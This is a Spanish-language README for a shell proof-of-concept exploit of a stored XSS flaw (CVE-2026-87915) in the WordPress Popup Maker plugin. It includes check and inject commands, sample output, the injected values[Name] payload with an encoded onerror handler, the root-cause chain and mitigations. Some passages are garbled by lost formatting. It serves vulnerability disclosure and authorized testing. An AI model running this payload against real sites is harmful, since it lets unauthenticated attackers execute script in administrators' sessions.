PoC en shell para CVE-2026-87915, un XSS almacenado no autenticado en el plugin de WordPress Popup Maker (<=1.24.0). Identifica el plugin y demuestra la inyección de payload.
| Componente | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (plugin de WordPress) |
| Tipo | CWE-79 — Cross-Site Scripting almacenado |
| Afectado | <= 1.24.0 |
| Corregido | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Un formulario público de optin/newsletter de Popup Maker acepta el parámetro values[Name] sin
sanitización (action=pum_sub_form). El valor se almacena en el servidor y posteriormente se
renderiza en la pantalla de administración Subscribers. El filtrado wp_kses() aplicado en la
salida es insuficiente en este contexto: las entidades HTML dentro de valores de atributos
permitidos sobreviven a la normalización y son evaluadas por el sink DOM
jQuery( link.attr('href') ) en wp-admin/js/common.js cuando un administrador hace clic en un
ancla de pestaña de ayuda contextual. Efecto neto: XSS almacenado no autenticado contra un
administrador (se requiere un clic en el lado del administrador).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject utiliza un correo electrónico de prueba único por defecto e imprime los pasos de limpieza
(interfaz de administración o DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, laboratorio)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (minúsculas) es el campo normal; el uso de mayúsculas y minúsculas mixtas
values[Name] colisiona durante la normalización de claves de array de PHP y transporta el
payload.wp_kses() permite el elemento <a href>; el `` codificado como entidad dentro
del atributo sobrevive al filtrado y se decodifica/normaliza posteriormente.wp-admin/js/common.js evalúa jQuery( link.attr('href') ), que analiza el HTML decodificado y
dispara el manejador onerror.esc_html() + sanitize_text_field() sobre el
valor almacenado; consulte el changeset del proveedor para
classes/Admin/Subscribers/Table.php).values[Name] a nivel de WAF.Solo para pruebas de seguridad autorizadas. check es de solo lectura; inject crea exactamente
una fila de suscriptor de prueba — elimínela después con el comando de limpieza impreso.